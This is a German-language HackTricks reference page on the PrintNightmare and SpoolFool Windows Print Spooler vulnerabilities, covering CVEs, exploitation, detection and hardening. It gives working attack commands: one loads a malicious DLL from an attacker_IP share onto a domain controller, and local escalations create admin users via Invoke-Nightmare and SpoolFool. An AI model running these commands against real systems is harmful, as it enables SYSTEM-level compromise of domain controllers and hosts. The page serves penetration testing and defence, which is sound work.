PrintNightmare (Windows Print Spooler RCE/LPE)

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

PrintNightmare ist der Sammelbegriff fĂŒr eine Familie von Schwachstellen im Windows Print Spooler-Dienst, die willkĂŒrliche CodeausfĂŒhrung als SYSTEM ermöglichen und, wenn der Spooler ĂŒber RPC erreichbar ist, remote code execution (RCE) auf DomĂ€nencontrollern und Dateiservern erlauben. Die am hĂ€ufigsten ausgenutzten CVEs sind CVE-2021-1675 (zunĂ€chst als LPE klassifiziert) und CVE-2021-34527 (vollstĂ€ndige RCE). Nachfolgende Probleme wie CVE-2021-34481 (“Point & Print”) und CVE-2022-21999 (“SpoolFool”) beweisen, dass die AngriffsflĂ€che noch lange nicht geschlossen ist.


1. Verwundbare Komponenten & CVEs

JahrCVEKurznamePrimitiveAnmerkungen
2021CVE-2021-1675“PrintNightmare #1”LPEIm Juni 2021 CU gepatcht, aber von CVE-2021-34527 umgangen
2021CVE-2021-34527“PrintNightmare”RCE/LPEAddPrinterDriverEx ermöglicht authentifizierten Benutzern das Laden einer Treiber-DLL von einem Remote-Share
2021CVE-2021-34481“Point & Print”LPEInstallation von nicht signierten Treibern durch nicht-Admin-Benutzer
2022CVE-2022-21999“SpoolFool”LPEWillkĂŒrliche Verzeichniscreation → DLL-Platzierung – funktioniert nach den Patches von 2021

Alle missbrauchen eine der MS-RPRN / MS-PAR RPC-Methoden (RpcAddPrinterDriver, RpcAddPrinterDriverEx, RpcAsyncAddPrinterDriver) oder Vertrauensbeziehungen innerhalb von Point & Print.

2. Ausnutzungstechniken

2.1 Kompromittierung des Remote-DomÀnencontrollers (CVE-2021-34527)

Ein authentifizierter, aber nicht privilegierter DomĂ€nenbenutzer kann willkĂŒrliche DLLs als NT AUTHORITY\SYSTEM auf einem Remote-Spooler (hĂ€ufig der DC) ausfĂŒhren durch:

# 1. Host malicious driver DLL on a share the victim can reach
impacket-smbserver share ./evil_driver/ -smb2support

# 2. Use a PoC to call RpcAddPrinterDriverEx
python3 CVE-2021-1675.py victim_DC.domain.local  'DOMAIN/user:Password!' \
-f \
'\\attacker_IP\share\evil.dll'

Beliebte PoCs sind CVE-2021-1675.py (Python/Impacket), SharpPrintNightmare.exe (C#) und Benjamin Delpys misc::printnightmare / lsa::addsid Module in mimikatz.

2.2 Lokale Privilegieneskalation (alle unterstĂŒtzten Windows, 2021-2024)

Die gleiche API kann lokal aufgerufen werden, um einen Treiber von C:\Windows\System32\spool\drivers\x64\3\ zu laden und SYSTEM-Rechte zu erlangen:

Import-Module .\Invoke-Nightmare.ps1
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!

2.3 SpoolFool (CVE-2022-21999) – Umgehung der 2021er Fixes

Die 2021er Patches von Microsoft blockierten das Laden von Remote-Treibern, aber hÀrteten die Verzeichnisberechtigungen nicht. SpoolFool missbraucht den SpoolDirectory-Parameter, um ein beliebiges Verzeichnis unter C:\Windows\System32\spool\drivers\ zu erstellen, platziert eine Payload-DLL und zwingt den Spooler, sie zu laden:

# Binary version (local exploit)
SpoolFool.exe -dll add_user.dll

# PowerShell wrapper
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll

Der Exploit funktioniert auf vollstĂ€ndig gepatchten Windows 7 → Windows 11 und Server 2012R2 → 2022 vor den Updates von Februar 2022


3. Erkennung & Jagd

  • Ereignisprotokolle – aktivieren Sie die Microsoft-Windows-PrintService/Operational und Admin KanĂ€le und achten Sie auf Ereignis-ID 808 „Der Druckspooler konnte ein Plug-in-Modul nicht laden“ oder auf RpcAddPrinterDriverEx Nachrichten.
  • Sysmon – Ereignis-ID 7 (Bild geladen) oder 11/23 (Datei schreiben/löschen) innerhalb von C:\Windows\System32\spool\drivers\*, wenn der ĂŒbergeordnete Prozess spoolsv.exe ist.
  • Prozessverlauf – Warnungen, wann immer spoolsv.exe cmd.exe, rundll32.exe, PowerShell oder eine nicht signierte BinĂ€rdatei startet.

4. Minderung & HĂ€rtung

  1. Patchen! – Wenden Sie das neueste kumulative Update auf jedem Windows-Host an, der den Druckspooler-Dienst installiert hat.
  2. Deaktivieren Sie den Spooler, wo er nicht benötigt wird, insbesondere auf DomÀnencontrollern:
Stop-Service Spooler -Force
Set-Service Spooler -StartupType Disabled
  1. Blockieren Sie Remoteverbindungen, wĂ€hrend lokale DruckauftrĂ€ge weiterhin erlaubt sind – Gruppenrichtlinie: Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled.
  2. EinschrĂ€nkung von Point & Print, sodass nur Administratoren Treiber hinzufĂŒgen können, indem Sie den Registrierungswert festlegen:
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f

Detaillierte Anleitung in Microsoft KB5005652


5. Verwandte Forschung / Tools

  • mimikatz printnightmare Module
  • SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
  • SpoolFool Exploit & Bericht
  • 0patch Mikropatches fĂŒr SpoolFool und andere Spooler-Bugs

Weitere LektĂŒre (extern): ÜberprĂŒfen Sie den Blogbeitrag von 2024 – Understanding PrintNightmare Vulnerability

Referenzen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks